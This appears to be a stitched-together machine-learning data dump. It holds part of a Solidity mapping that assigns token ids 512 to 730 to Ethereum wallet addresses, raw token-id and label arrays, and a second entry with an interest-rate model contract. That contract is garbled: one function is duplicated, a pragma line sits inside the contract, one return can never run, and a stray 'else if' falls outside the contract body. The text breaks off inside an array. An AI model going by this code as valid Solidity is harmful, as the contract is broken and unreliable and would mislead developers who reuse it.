claimers[0x5c33ed519972c7cD746D261dcbBDa8ee6F9aadA7] = 512; // seq: 511 -> tkn_id: 512
claimers[0x1A33aC98AB15Ed89147Fe0edd5B726565d7972c9] = 513; // seq: 512 -> tkn_id: 513
claimers[0x915855E0b041468A8497c2E1D0959780904dA171] = 514; // seq: 513 -> tkn_id: 514
claimers[0x2Ee0781c7CE1f1BDe71fD2010F06448420873e58] = 515; // seq: 514 -> tkn_id: 515
claimers[0xC8ab8461129fEaE84c4aB3929948235106514AdF] = 516; // seq: 515 -> tkn_id: 516
claimers[0x75daA09CE22eD9e4e27cB1f2D0251647831642A6] = 517; // seq: 516 -> tkn_id: 517
claimers[0xA31D7fe5acCBBA9795b4B2f8c1b58abE90590D6d] = 518; // seq: 517 -> tkn_id: 518
claimers[0x85d03E980A35517906a3665866E8a255C0212918] = 519; // seq: 518 -> tkn_id: 519
claimers[0x02A325603C41c24E1897C74840B5C78950223366] = 520; // seq: 519 -> tkn_id: 520
claimers[0xF2CA16da81687313AE2d8d3DD122ABEF11e1f68f] = 521; // seq: 520 -> tkn_id: 521
claimers[0xba028A2a6097f7Da63866965B7f045F166aeB958] = 522; // seq: 521 -> tkn_id: 522
claimers[0x787Efe41F4C940bC8c2a0D2B1877B7Fb71bC7c04] = 523; // seq: 522 -> tkn_id: 523
claimers[0xA368bae3df1107cF22Daf0a79761EF94656D789A] = 524; // seq: 523 -> tkn_id: 524
claimers[0x67ffa298DD79AE9de27Fd63e99c15716ddc93491] = 525; // seq: 524 -> tkn_id: 525
claimers[0xD79B70C1D4Ab78Cd97d53508b5CBf0D573728980] = 526; // seq: 525 -> tkn_id: 526
claimers[0x8aA79517903E473c548A36d80f54b7669056249a] = 527; // seq: 526 -> tkn_id: 527
claimers[0xaEC4a7621BEA9F03B9A893d61e6e6EA91b33c395] = 528; // seq: 527 -> tkn_id: 528
claimers[0xF6614172a85D7cB91327bd11e4884d3C76042580] = 529; // seq: 528 -> tkn_id: 529
claimers[0x8F1B34eAF577413db89889beecdb61f4cc590aC2] = 530; // seq: 529 -> tkn_id: 530
claimers[0xD85bc15495DEa1C510fE41794d0ca7818d8558f0] = 531; // seq: 530 -> tkn_id: 531
claimers[0x85b931A32a0725Be14285B66f1a22178c672d69B] = 532; // seq: 531 -> tkn_id: 532
claimers[0xCDCaDF2195c1376f59808028eA21630B361Ba9b8] = 533; // seq: 532 -> tkn_id: 533
claimers[0x32527CA6ec2B85AbaCA0fb2dd3878e5b7Bb5b370] = 534; // seq: 533 -> tkn_id: 534
claimers[0xe3fa3aefD1f122e2228fFE79EE36685215A05BCa] = 535; // seq: 534 -> tkn_id: 535
claimers[0x7AE29F334D7cb67b58df5aE2A19F360F1Fd3bE75] = 536; // seq: 535 -> tkn_id: 536
claimers[0xF29919b09037036b6f10aD7C41ADCE8677BE2F54] = 537; // seq: 536 -> tkn_id: 537
claimers[0x328824B1468f47163787d0Fa40c44a04aaaF4fD9] = 538; // seq: 537 -> tkn_id: 538
claimers[0x4d4180739775105c82627CCbf043d6d32e746dee] = 539; // seq: 538 -> tkn_id: 539
claimers[0x6372b52593537A3Be2F3752110cb709e6f213241] = 540; // seq: 539 -> tkn_id: 540
claimers[0x75187bA60caFC4A2Cb057aADdD5c9FdAc3896Cee] = 541; // seq: 540 -> tkn_id: 541
claimers[0xf5503988423F65b1d5F2263d33Ab161E889103EB] = 542; // seq: 541 -> tkn_id: 542
claimers[0x76b2e65407e9f24cE944B62DB0c82e4b61850233] = 543; // seq: 542 -> tkn_id: 543
claimers[0xDd6177ba0f8C5F15DB178452585BB52A7b0C9Aee] = 544; // seq: 543 -> tkn_id: 544
claimers[0x3017dC24849823c81c43b6F8288bC85D6214FD7E] = 545; // seq: 544 -> tkn_id: 545
claimers[0xdf59a1d81880bDE9175c3B766c3e95bEd21c3670] = 546; // seq: 545 -> tkn_id: 546
claimers[0x2A716b58127BC4341231833E3A586582b07bBB22] = 547; // seq: 546 -> tkn_id: 547
claimers[0x15c5F3a14d4492b1a26f4c6557251a6F247a2Dd5] = 548; // seq: 547 -> tkn_id: 548
claimers[0x239af5a76A69de3F13aed6970fdF37bf86e8FEB7] = 549; // seq: 548 -> tkn_id: 549
claimers[0xCF6E7e0676f5AC61446F6865e26a0f34bb86A622] = 550; // seq: 549 -> tkn_id: 550
claimers[0xfb580744F1fDc4fEb83D9846E907a63Aa94979bd] = 551; // seq: 550 -> tkn_id: 551
claimers[0x3de1820D8d3B7f6C61C34dfD74F941c88cb27143] = 552; // seq: 551 -> tkn_id: 552
claimers[0xDFfF9Df5665BD156ECc71769103C72D8D167E30b] = 553; // seq: 552 -> tkn_id: 553
claimers[0xf4775496624C382f74aDbAE79C5780F353B1f83B] = 554; // seq: 553 -> tkn_id: 554
claimers[0xd1f157e1798D20F905e8391e3AcC2351bd9873Ff] = 555; // seq: 554 -> tkn_id: 555
claimers[0x2BcfEC37A16eb258d641812A308edEc5B80b32C1] = 556; // seq: 555 -> tkn_id: 556
claimers[0xD7CE5Cec413cC35edc293BD0e9D6204bEb91a470] = 557; // seq: 556 -> tkn_id: 557
claimers[0xC195a064BE7Ac37702Cd8FBcE4d71b57111d559b] = 558; // seq: 557 -> tkn_id: 558
claimers[0xc148113F6508589538d65B29426331A12B04bC6C] = 559; // seq: 558 -> tkn_id: 559
claimers[0x687922176D1BbcBcdC295E121BcCaA45A1f40fCd] = 560; // seq: 559 -> tkn_id: 560
claimers[0xba5270bFd7245C37db5e9Bb5fC18A68b8cA622F8] = 561; // seq: 560 -> tkn_id: 561
claimers[0x2022e7E902DdF290B70AAF5FB5D777E7840Fc9D3] = 562; // seq: 561 -> tkn_id: 562
claimers[0x676be4D726F6e648cC41AcF71b3d099dC65242f3] = 563; // seq: 562 -> tkn_id: 563
claimers[0xCbBdE3eeb1005A8be374C0eeB9c02e0e33Ac4629] = 564; // seq: 563 -> tkn_id: 564
claimers[0xaf636e6585a1cD5CDD23A75d32cbd57e6D836dA6] = 565; // seq: 564 -> tkn_id: 565
claimers[0x7dE08dAb472F16F6713bD30B1B1BCd29FA7AC68c] = 566; // seq: 565 -> tkn_id: 566
claimers[0xc8fa8A80D241a06CB53d61Ceacce0d1a8715Bc2f] = 567; // seq: 566 -> tkn_id: 567
claimers[0xA661Ff505C9Be09C08341666bbB32c46a80Fe996] = 568; // seq: 567 -> tkn_id: 568
claimers[0x934Cc457EDC4b58b105188C3ECE78c7b2EE65d80] = 569; // seq: 568 -> tkn_id: 569
claimers[0xFF4a498B23f2E3aD0A5eBEd838F07F30Ab4dC800] = 570; // seq: 569 -> tkn_id: 570
claimers[0xf75b052036dB7d90D18C10C06d3535F0fc3A4b74] = 571; // seq: 570 -> tkn_id: 571
claimers[0x8f2a707153378551c450Ec28B29c72C0B97664FC] = 572; // seq: 571 -> tkn_id: 572
claimers[0x77167885E8393f1052A8cE8D5dfF2fF16c08f98d] = 573; // seq: 572 -> tkn_id: 573
claimers[0x186D482EB263492318Cd470f3e4C0cf7705b3963] = 574; // seq: 573 -> tkn_id: 574
claimers[0x0736C28bd6186Cc899F72aB3f68f542bC2479d90] = 575; // seq: 574 -> tkn_id: 575
claimers[0x5E6DbCb38555ec7B4c5C12F19144736010335d26] = 576; // seq: 575 -> tkn_id: 576
claimers[0xd85d3AcC28A235f9128938B99E26747dB0ba655D] = 577; // seq: 576 -> tkn_id: 577
claimers[0x812E1eeE6D76e2F3490a8C29C0CC9e38D71a1a4f] = 578; // seq: 577 -> tkn_id: 578
claimers[0x66D61B6BEb130197E8194B072215d9aE9b36e14d] = 579; // seq: 578 -> tkn_id: 579
claimers[0x36986961cc3037E40Ef6f01A7481941ed08aF566] = 580; // seq: 579 -> tkn_id: 580
claimers[0xB6ea652fBE96DeddC5fc7133C208D024f3CFFf5a] = 581; // seq: 580 -> tkn_id: 581
claimers[0x2F86c6e97C4E2d03939AfE7452448bD96b681938] = 582; // seq: 581 -> tkn_id: 582
claimers[0x6F36a7E4eA93aCbF753397C96DaBacD45ba88175] = 583; // seq: 582 -> tkn_id: 583
claimers[0x6394e38E5Fe6Fb9de9B2dD267F257035fe72a315] = 584; // seq: 583 -> tkn_id: 584
claimers[0xeE74a1e81B6C55e3D02D05D7CaE9FD6BCee0E651] = 585; // seq: 584 -> tkn_id: 585
claimers[0x9A7797Cf292579065CC204C5c975E0E7E9dF66f7] = 586; // seq: 585 -> tkn_id: 586
claimers[0xf50E61952aC37fa5DD770657326A5FBDB18cB694] = 587; // seq: 586 -> tkn_id: 587
claimers[0x0B60fF27655bCd5E9444c5D1865ec8CD3B403146] = 588; // seq: 587 -> tkn_id: 588
claimers[0x35f382D9daA602A23AD988D5bf837B8e6A01d002] = 589; // seq: 588 -> tkn_id: 589
claimers[0xFF7C32e9D881e6cabBCE7C0C17564F54260C3872] = 590; // seq: 589 -> tkn_id: 590
claimers[0xdE437ad59B5fcad477eB90a4742916FD04c0193e] = 591; // seq: 590 -> tkn_id: 591
claimers[0xB9f2946b6f35d8BB4a1522e7628F24416947ddda] = 592; // seq: 591 -> tkn_id: 592
claimers[0x67AE8A6e6587e6219141dC5a5BE35f30Beb30C50] = 593; // seq: 592 -> tkn_id: 593
claimers[0x04b5b1906745FE9E501C10B3191118FA76CD76Ba] = 594; // seq: 593 -> tkn_id: 594
claimers[0xc793B339FC99A912d8c4c420f55023e072Dc4A08] = 595; // seq: 594 -> tkn_id: 595
claimers[0x024713784f675dd28b5CE07dB91a4d47213c2394] = 596; // seq: 595 -> tkn_id: 596
claimers[0xE9011643a76aC1Ee4BDb32242B28424597C724A2] = 597; // seq: 596 -> tkn_id: 597
claimers[0xFA3ed3EDd606157c2FD49c900a0B1fE867b96d78] = 598; // seq: 597 -> tkn_id: 598
claimers[0xEb06301D471b0F8C8C5CC965B09Ce0B85021D398] = 599; // seq: 598 -> tkn_id: 599
claimers[0x57985E22ae7906cC693b44cC16473643F294Ff07] = 600; // seq: 599 -> tkn_id: 600
claimers[0x3ef7Bf350074EFDE3FD107ce38e652a10a5750f5] = 601; // seq: 600 -> tkn_id: 601
claimers[0xAA5990c918b845EE54ade1a962aDb9ddfF17D20A] = 602; // seq: 601 -> tkn_id: 602
claimers[0x7Ff698e124d1D14E6d836aF4dA0Ae448c8FfFa6F] = 603; // seq: 602 -> tkn_id: 603
claimers[0x95351210cf4F6270aaD413d5A2E07256a005D9B3] = 604; // seq: 603 -> tkn_id: 604
claimers[0x2aE024C5EE8dA720b9A51F50D53a291aca37dEb1] = 605; // seq: 604 -> tkn_id: 605
claimers[0xe0dAA80c1fF85fd070b561ef44cC7637059E5e57] = 606; // seq: 605 -> tkn_id: 606
claimers[0xD64212269c456D61bCA45403c4B93A2a57B7510E] = 607; // seq: 606 -> tkn_id: 607
claimers[0xC3A9eB254C875750A83750d1258220fA8a729F89] = 608; // seq: 607 -> tkn_id: 608
claimers[0x07b678695690183C644fEb37d9E95eBa4eFe53A8] = 609; // seq: 608 -> tkn_id: 609
claimers[0x4334c48D71b8D03799487a601509ac137b29904B] = 610; // seq: 609 -> tkn_id: 610
claimers[0xea2D190cBb3Be5074E9E144EDE095f059eDB7E53] = 611; // seq: 610 -> tkn_id: 611
claimers[0x93973b0dc20bEff165C087cB2A319640C210f30e] = 612; // seq: 611 -> tkn_id: 612
claimers[0x8015eA3DA10b9960378CdF6d529EBf19553c112A] = 613; // seq: 612 -> tkn_id: 613
claimers[0xE40Cc4De1a57e83AAc249Bb4EF833B766f26e2F2] = 614; // seq: 613 -> tkn_id: 614
claimers[0xdD2B93A4F52C138194C10686f175df55db690117] = 615; // seq: 614 -> tkn_id: 615
claimers[0x2EF48fA1785aE0C24fd791c1D7BAaf690d153793] = 616; // seq: 615 -> tkn_id: 616
claimers[0x2044E9cF4a61D4a49C73800168Ecfd8Bd19550c4] = 617; // seq: 616 -> tkn_id: 617
claimers[0xF6711aFF1462fd2f477769C2d442Cf2b10597C6D] = 618; // seq: 617 -> tkn_id: 618
claimers[0xf9F49E8B93f60535852A91FeE294fF6c4D460035] = 619; // seq: 618 -> tkn_id: 619
claimers[0x61b3c4c9dc16B686eD396319D48586f40c1F74E9] = 620; // seq: 619 -> tkn_id: 620
claimers[0x348F0cE2c24f14EfC18bfc2B2048726BDCDB759e] = 621; // seq: 620 -> tkn_id: 621
claimers[0x32f8E5d3F4039d1DF89B6A1e544288289A500Fd1] = 622; // seq: 621 -> tkn_id: 622
claimers[0xaF997affb94c5Ca556b28b024E162AA3164f4A43] = 623; // seq: 622 -> tkn_id: 623
claimers[0xb20Ce1911054DE1D77E1a66ec402fcB3d06c06c2] = 624; // seq: 623 -> tkn_id: 624
claimers[0xB83FC0c399e46b69e330f19baEB87B6832Ec890d] = 625; // seq: 624 -> tkn_id: 625
claimers[0x01B9b335Bb0D8Ff543f54eb9A59Ba57dBEf7A93B] = 626; // seq: 625 -> tkn_id: 626
claimers[0x2CC7dA5EF8fd01f4a7cD03E785A01941F28fE8da] = 627; // seq: 626 -> tkn_id: 627
claimers[0x46f75A3e9702d89E3E269361D9c1e4D2A9779044] = 628; // seq: 627 -> tkn_id: 628
claimers[0x7AEBDD84821190c1cfCaCe051E87913ae5d67439] = 629; // seq: 628 -> tkn_id: 629
claimers[0xE94F4519Ed1670123714d8f67B3A144Bf089f594] = 630; // seq: 629 -> tkn_id: 630
claimers[0xf10367decc6F0e6A12Aa14E7512AF94a4C791Fd7] = 631; // seq: 630 -> tkn_id: 631
claimers[0x49BA4256FE65b833b3dA9c26aA27E1eFD74EFD1d] = 632; // seq: 631 -> tkn_id: 632
claimers[0x33BE249B512DCb6D2FC7586047ab0220397aF2d3] = 633; // seq: 632 -> tkn_id: 633
claimers[0x07b449319D200b1189406c58967348c5bA0D4083] = 634; // seq: 633 -> tkn_id: 634
claimers[0x9B6498Ef7F47223f5F7d466FC4D26c570C7b375F] = 635; // seq: 634 -> tkn_id: 635
claimers[0xA40F625ce8e06Db1C41Bb7F8854C7d57644Ff9Cc] = 636; // seq: 635 -> tkn_id: 636
claimers[0x28864AF76e73B38e2C9D4e856Ea97F66947961aB] = 637; // seq: 636 -> tkn_id: 637
claimers[0x4aC4Ab29F4A87150D89D3fdd5cbC46112606E5e8] = 638; // seq: 637 -> tkn_id: 638
claimers[0x9D29BBF508cDf300D116FCA3cE3cd9d287850ccd] = 639; // seq: 638 -> tkn_id: 639
claimers[0xcC5Fb93A6e274Ac3C626a02B24F939b1307b46e1] = 640; // seq: 639 -> tkn_id: 640
claimers[0x0E590293aD7CB2Dd9968B7f16eac9614451A63E1] = 641; // seq: 640 -> tkn_id: 641
claimers[0x726d54570632b30c957E60CFf44AD4eE2b559dB6] = 642; // seq: 641 -> tkn_id: 642
claimers[0xE2927F7f6618E71A86CE3F8F5AC32B5BbFe163a6] = 643; // seq: 642 -> tkn_id: 643
claimers[0x3C7DEd16d0E5b5bA9fb3DE539ed28cb7B7D8C95C] = 644; // seq: 643 -> tkn_id: 644
claimers[0xB7c3A0928c06A80DC4A4CDc9dC0aec33E047A4c8] = 645; // seq: 644 -> tkn_id: 645
claimers[0x95f26898b144FF93283d38d0B1A92b69f90d3123] = 646; // seq: 645 -> tkn_id: 646
claimers[0x95a788A34b7781eF34660196BB615A97F7e7d2B8] = 647; // seq: 646 -> tkn_id: 647
claimers[0x317EA9Dd8fCac5A6Fd94eB2959FeC690931b61b8] = 648; // seq: 647 -> tkn_id: 648
claimers[0x2CE83785eD44961959bf5251e85af897Ba9ddAC7] = 649; // seq: 648 -> tkn_id: 649
claimers[0xE144E7e3948dCA4AD395794031A0289a83b150A0] = 650; // seq: 649 -> tkn_id: 650
claimers[0x18668B0244949570ec637465BAFdDe4d082afa69] = 651; // seq: 650 -> tkn_id: 651
claimers[0xaba035729057984c7431a711436D3e51e947cbD4] = 652; // seq: 651 -> tkn_id: 652
claimers[0x2519410f255A52CDF22a7DFA870073b1357B30A7] = 653; // seq: 652 -> tkn_id: 653
claimers[0x63a12D51Ee95eF213404308e1F8a2805A0c21899] = 654; // seq: 653 -> tkn_id: 654
claimers[0x882bBB07991c5c2f65988fd077CdDF405FE5b56f] = 655; // seq: 654 -> tkn_id: 655
claimers[0x11f53fdAb3054a5cA63778659263aF0838b642b1] = 656; // seq: 655 -> tkn_id: 656
claimers[0x093E088901909dEecC1b4a1479fBcCE1FBEd31E7] = 657; // seq: 656 -> tkn_id: 657
claimers[0x3c5cBddC5D6D6720d51CB563134d72E20dc4C713] = 658; // seq: 657 -> tkn_id: 658
claimers[0x3Db111A09A2e77A8DD6d03dc3f089f4A0F4557E9] = 659; // seq: 658 -> tkn_id: 659
claimers[0x8F53cA524c1451A930DEA18926df964Fb72B10F1] = 660; // seq: 659 -> tkn_id: 660
claimers[0x22C535D5EccCF398997eabA19Aa3FAbd3fe6AA16] = 661; // seq: 660 -> tkn_id: 661
claimers[0x93dF35071B3bc1B6d16D5f5F20fbB2be9D50FE67] = 662; // seq: 661 -> tkn_id: 662
claimers[0xfE61D830b99E40b3E905CD7EcF4a08DD06fa7F03] = 663; // seq: 662 -> tkn_id: 663
claimers[0x9cB5FAF0801ac959a0d40b2A7D69Ed8E42F792eA] = 664; // seq: 663 -> tkn_id: 664
claimers[0xC5B0f2afEC01807D964D76aEce6dB2F093239619] = 665; // seq: 664 -> tkn_id: 665
claimers[0x9b279dbaB2aE483EEDD106a583ACbBCFd722CE79] = 666; // seq: 665 -> tkn_id: 666
claimers[0x429c74f7C7fe7d31a70289e9B4b54e0F7300f376] = 667; // seq: 666 -> tkn_id: 667
claimers[0xeD08e8D72D35428b28390B7334ebe7F9f7a64822] = 668; // seq: 667 -> tkn_id: 668
claimers[0xB468076716C800Ce1eB9e9F515488099cC838128] = 669; // seq: 668 -> tkn_id: 669
claimers[0x3D7A35c89f04Af71F453b33848B49714859D061c] = 670; // seq: 669 -> tkn_id: 670
claimers[0x7DcE9e613b3583C600255A230497DD77429b0e21] = 671; // seq: 670 -> tkn_id: 671
claimers[0x2B00CaD253E88924290fFC7FeE221D135A0f083a] = 672; // seq: 671 -> tkn_id: 672
claimers[0xA2A64dE6BEe8c68DBCC948609708Ae54801CBAd8] = 673; // seq: 672 -> tkn_id: 673
claimers[0x6F255406306D6D78e97a29F7f249f6d2d85d9801] = 674; // seq: 673 -> tkn_id: 674
claimers[0xcDaf4c2e205A8077F29BF1dfF9Bd0B6a501B72cB] = 675; // seq: 674 -> tkn_id: 675
claimers[0xC45bF67A729B9A2b98521CDbCbf8bc70d8b81af3] = 676; // seq: 675 -> tkn_id: 676
claimers[0x35205135F0883e6a59aF9cb64310c53003433122] = 677; // seq: 676 -> tkn_id: 677
claimers[0xbAFcFC93A2fb6a042CA87f3d70670E2c114CE9fd] = 678; // seq: 677 -> tkn_id: 678
claimers[0xf664D1363FcE2da5ebb9aA935ef11Ce07be012Db] = 679; // seq: 678 -> tkn_id: 679
claimers[0x57e7ce99461FDeA80Ae8a6292e58AEfe053ed3a3] = 680; // seq: 679 -> tkn_id: 680
claimers[0xbD0Ad704f38AfebbCb4BA891389938D4177A8A92] = 681; // seq: 680 -> tkn_id: 681
claimers[0x0962FEeC7d4f0fa0EBadf6cd2e1CB783103B41F4] = 682; // seq: 681 -> tkn_id: 682
claimers[0x9B89f9Fd0952009fd556b19B18d85dA1089D005C] = 683; // seq: 682 -> tkn_id: 683
claimers[0xa511CB01cCe9c221cC73a9f9231937Cf6baf1D1A] = 684; // seq: 683 -> tkn_id: 684
claimers[0x79e5c907b9d4Af5840C687e6975a1C530895454a] = 685; // seq: 684 -> tkn_id: 685
claimers[0xf782f0Bf9B741FdE0E7c7dA4f71c7E33554f8397] = 686; // seq: 685 -> tkn_id: 686
claimers[0x228Bb6C83e8d0767eD342dd333DDbD55Ad217a3D] = 687; // seq: 686 -> tkn_id: 687
claimers[0xf2f62B5C7B3395b0ACe219d1B91D8083f8394720] = 688; // seq: 687 -> tkn_id: 688
claimers[0x2A77484F4cca78a5B3f71c22A50e3A1b8583072D] = 689; // seq: 688 -> tkn_id: 689
claimers[0xbB85877c4AEa11A141FC107Dc8D2E43C4B04F8C8] = 690; // seq: 689 -> tkn_id: 690
claimers[0x0414B2A60f8d4b84dE036677f8780F59AFEc1b65] = 691; // seq: 690 -> tkn_id: 691
claimers[0xb3aA296e046E0EFBd734cfa5DCd447Ae3a5e6104] = 692; // seq: 691 -> tkn_id: 692
claimers[0xa6700EA3f19830e2e8b35363c2978cb9D5630303] = 693; // seq: 692 -> tkn_id: 693
claimers[0xF976106afd7ADE91F8dFc5167284AD57795b17B1] = 694; // seq: 693 -> tkn_id: 694
claimers[0x793E446AFFf802e20bdb496A64250622BE32Df29] = 695; // seq: 694 -> tkn_id: 695
claimers[0x2E72d671fa07be54ae9671f793895520268eF00E] = 696; // seq: 695 -> tkn_id: 696
claimers[0xB67c99dfb3422b61f9E38070f021eaB7B42e9CAF] = 697; // seq: 696 -> tkn_id: 697
claimers[0x0095D1f7804D32A7921b26D3Eb1229873D3B11E0] = 698; // seq: 697 -> tkn_id: 698
claimers[0xEf31D013E222AaD9Eb90df9fd466c758B7603FaB] = 699; // seq: 698 -> tkn_id: 699
claimers[0x9936f05D5cE4259D44Aa51d54c0C245652efcc11] = 700; // seq: 699 -> tkn_id: 700
claimers[0x58bb897f0612235FA7Ae324F9b9718a06A2f6df3] = 701; // seq: 700 -> tkn_id: 701
claimers[0xa2cF94Bf60B6a6C08488B756E6695d990574e9C7] = 702; // seq: 701 -> tkn_id: 702
claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; // seq: 702 -> tkn_id: 703
claimers[0xB6a95916221Abef28339594161cd154Bc650c515] = 704; // seq: 703 -> tkn_id: 704
claimers[0xb0471Ad0fEFD2151Efaa6C8415b1dB984526c0a6] = 705; // seq: 704 -> tkn_id: 705
claimers[0xC869ce145a5a72985540285Efde28f5176F39bC9] = 706; // seq: 705 -> tkn_id: 706
claimers[0x79440849d5BA6Df5fb1F45Ff36BE3979F4271fa4] = 707; // seq: 706 -> tkn_id: 707
claimers[0xD54F610d744b64393386a354cf1ADD944cBD42c9] = 708; // seq: 707 -> tkn_id: 708
claimers[0x3b368E77F110e3FE1C8482F395E51D1f75e50e5f] = 709; // seq: 708 -> tkn_id: 709
claimers[0x529ccAFA5aC0d18E7402244859AF8664BA736919] = 710; // seq: 709 -> tkn_id: 710
claimers[0x686241b898D7616FF78e22cc45fb07e92A74B7B5] = 711; // seq: 710 -> tkn_id: 711
claimers[0xd859ad8D8DCA1eEC61529833685FE59FAb804E7d] = 712; // seq: 711 -> tkn_id: 712
claimers[0x5AbfC4E2bB4941BD6773f120573618Ba8a4f7863] = 713; // seq: 712 -> tkn_id: 713
claimers[0x17c1cF2eeFda3f339996c67cd18d4389D132D033] = 714; // seq: 713 -> tkn_id: 714
claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; // seq: 714 -> tkn_id: 715
claimers[0x4B992870CF27A548921082be7B447fc3c0534509] = 716; // seq: 715 -> tkn_id: 716
claimers[0xa278039DEE9B1fC58164Ef7B6f5eC86de9786178] = 717; // seq: 716 -> tkn_id: 717
claimers[0xBa64c61B45340994bABF676544025BcCc0bE6A9e] = 718; // seq: 717 -> tkn_id: 718
claimers[0x3656f4d852f15986beBE025AEF64a40dF2A5d4a1] = 719; // seq: 718 -> tkn_id: 719
claimers[0x4A57385D14882d6d8FDB3916792E9585102d22DA] = 720; // seq: 719 -> tkn_id: 720
claimers[0x764108BAcf10e30F6f249d17E7612fB9008923F0] = 721; // seq: 720 -> tkn_id: 721
claimers[0x880BD9ec1d3b71Bda5249baCCC63E9a8e5902250] = 722; // seq: 721 -> tkn_id: 722
claimers[0x1195e87Ca87C8f5989ecBa2d569E64784E5820f9] = 723; // seq: 722 -> tkn_id: 723
claimers[0x8591D21143794463A69017944F555E272965db06] = 724; // seq: 723 -> tkn_id: 724
claimers[0x032c255E5a84C2E8Ca242f85098988D69b982E85] = 725; // seq: 724 -> tkn_id: 725
claimers[0xFD9bCD1F71Cb016079077F659Ee99f8AD834732A] = 726; // seq: 725 -> tkn_id: 726
claimers[0x6Be049Bb4688dFf540E7798433c925E21c70Ac25] = 727; // seq: 726 -> tkn_id: 727
claimers[0xFbFB1aD08f5d60d0243CC88E1EDf9eD5875d2EFe] = 728; // seq: 727 -> tkn_id: 728
claimers[0xeBe91f187bF0b29185a8e4A362392Aa3665030a1] = 729; // seq: 728 -> tkn_id: 729
claimers[0xF6666FCE84FDe632f33c1A881b6AC2C0f545D271] = 730; // seq: 729 -> tkn_id: 730 | seq: 325 -> tkn_id: 325
| claimers[0xA63328aE7c2Da36133D1F2ecFB9074403667EfE4] = 325; | 12,654,821 | [
1,
5436,
30,
890,
2947,
317,
13030,
82,
67,
350,
30,
890,
2947,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
14784,
414,
63,
20,
21703,
4449,
1578,
28,
69,
41,
27,
71,
22,
40,
69,
5718,
28615,
40,
21,
42,
22,
557,
22201,
9349,
5608,
24,
4630,
6028,
27,
41,
74,
41,
24,
65,
273,
890,
2947,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xA8D1355868Adb65543c90D25d79FC3d72A30906d/sources/contracts/InterestRateModel.sol | * @title Interest rate model for TProtocol. linear function/ Assuming the maximum is 5.2% | contract InterestRateModel is AccessControl {
uint256 private APR = 52 * 1e5;
event APRChanged(uint256 newAPR);
pragma solidity 0.8.18;
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function setAPR(uint256 newAPR) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(newAPR <= 8 * 1e6, "apr should be less then 8%");
APR = newAPR;
emit APRChanged(newAPR);
}
function getSupplyInterestRate(
uint256 totalSupply,
uint256 totalBorrow
) public view returns (uint) {
if (totalBorrow == 0) {
return 0;
return APR;
}
return ((totalBorrow * APR) / totalSupply);
}
function getSupplyInterestRate(
uint256 totalSupply,
uint256 totalBorrow
) public view returns (uint) {
if (totalBorrow == 0) {
return 0;
return APR;
}
return ((totalBorrow * APR) / totalSupply);
}
} else if (totalBorrow >= totalSupply) {
}
| 4,876,940 | [
1,
29281,
4993,
938,
364,
399,
5752,
18,
9103,
445,
19,
4725,
21249,
326,
4207,
353,
1381,
18,
22,
9,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
